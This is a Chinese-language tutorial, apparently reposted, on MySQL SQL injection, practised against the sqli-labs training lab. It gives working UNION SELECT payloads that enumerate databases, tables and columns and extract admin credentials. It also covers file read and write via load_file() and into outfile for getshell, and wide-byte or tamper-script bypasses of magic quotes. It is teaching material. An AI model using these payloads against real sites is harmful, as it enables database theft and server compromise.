SQL注入之MYSQL注入 |
您所在的位置:网站首页 › sql注入分几类 › SQL注入之MYSQL注入 |
前言(菜鸡教程大佬勿喷)
MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。 必要知识 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。常用参数information_schema.tables:记录所有表名信息的表 information_schema.columns:记录所有列名信息的表 table_name:表名 column_name:列名 table_schema:数据库名 user() 查看当前MySQL登录的用户名 database() 查看当前使用MySQL数据库名 version() 查看当前MySQL版本 如何判断注入点 如果页面中MySQL报错,证明该页面中存在SQL注入漏洞单引号 ' and 1=1 and 1=2 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误 逻辑运算符(或与非)真 且 真 = 真 真 且 假 = 假 真 或 假 = 真 SELECT * FROM users WHERE id=1 真 1=1 真 1=2 假 真且真=真 真且假=假 SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常 SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常 MySQL 5.x数据结构 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)在schemata表中,schema_name字段用来存储数据库名在table表中,table_schema和table_name分别用来存储数据库名和表名在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)关于直接对数据库的增删改查 增 create database 数据库名删 drop database 数据库名改 rename database 旧名 to 新名查 show databases 创建表 create table table_name( id1 int,id2 varcher) 重新给表命名 alter table table_name_old rename as table_name_new 关于对数据表的增删改查 增 insert into table_name(列1,列2 ... ) values(值1,值2 ... )删 delete from 表名 where 列名 = 值改 update 表名 set 列名=新值 where 列名=某值 查 select * from 表名 where 字段1=‘条件一’and 字段2 =‘条件二’扩展 limitlimit m,n 从m行开始,到m+n行结束 select * from admin limit 2,1 指的是 从第二行开始,到第三行结束(从第二行开始查取一行数据) 高权限注入及低权限注入 跨库查询及应用思路information_schema 表特性,记录库名,表名,列名对应表 通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据 获取所有数据库名: http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1union select 1,group_concat(schema_name),3 from information_schema.schemata 获取指定qqyw数据库名下的表名信息: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw' 获取指定qqyw下的表名admin下的列名信息: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_achema='qqyw' 获取指定qqyw下的admin数据 union select 1,u,p,4 from qqyw.admin 文件读写操作会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。MySQL有内置读取的操作函数,我们可以调用这个函数作为注入的攻击。 load_file():读取函数 into outfile 或 into dumpfile:导出函数 outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。dumpfile只能写一行,并且输出中不存在任何格式。(将x写入www文件中) 路径获取常见方法: 报错显示:一般网站出现错误的时候它会泄露出路径 遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出 漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径 平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径 爆破 windows: d:/wwwroot/xiaodi8/ linux: /var/www/xiaodi8 扩展连接: 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客 常见读取文件列表:常见写入文件问题:魔术引号开关 magic_quotes_gpc 魔术引号及常见防护a. 编码或宽字节绕过: 比如在sqlmap中添加--temper脚本参数转码 或者使用转换工具 b. 防护: 1.)自带防御:魔术引号 2.)内置函数:int等 3.)自定义关键字:select等 4.)WAF防护软件:安全狗、宝塔等 低版本注入配合读取或暴力字典或读取 涉及资源:常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客 sqli-labs测试(简单练习一下)先来温习一下基本注入流程: 根据注入位置数据类型将sql注入分类利用order判断字段数order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错 ?id=1' order by 3--+ 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数?id=-1 union select 1,2,3 --+ 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号?id=-1 union select 1,database(),version() --+ 利用 union select 联合查询,获取表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+ 利用 union select 联合查询,获取字段名?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+ 利用 union select 联合查询,获取字段值?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+ 根据注入位置数据类型将sql注入分类可以从SQL语法错误得出我们需要的东西 '1'' LIMIT 0,1 这个引号是我们自己加的 可以知道这个就是‘1',也就是说,这是个字符串类型的sql注入 利用order by 来判断字段数在经过一番测试之后可以发现有三个字段 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号 利用 union select 联合查询,获取表名 利用 union select 联合查询,获取字段名 利用 union select 联合查询,获取字段值即可成功得到我们想要的用户名和密码 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |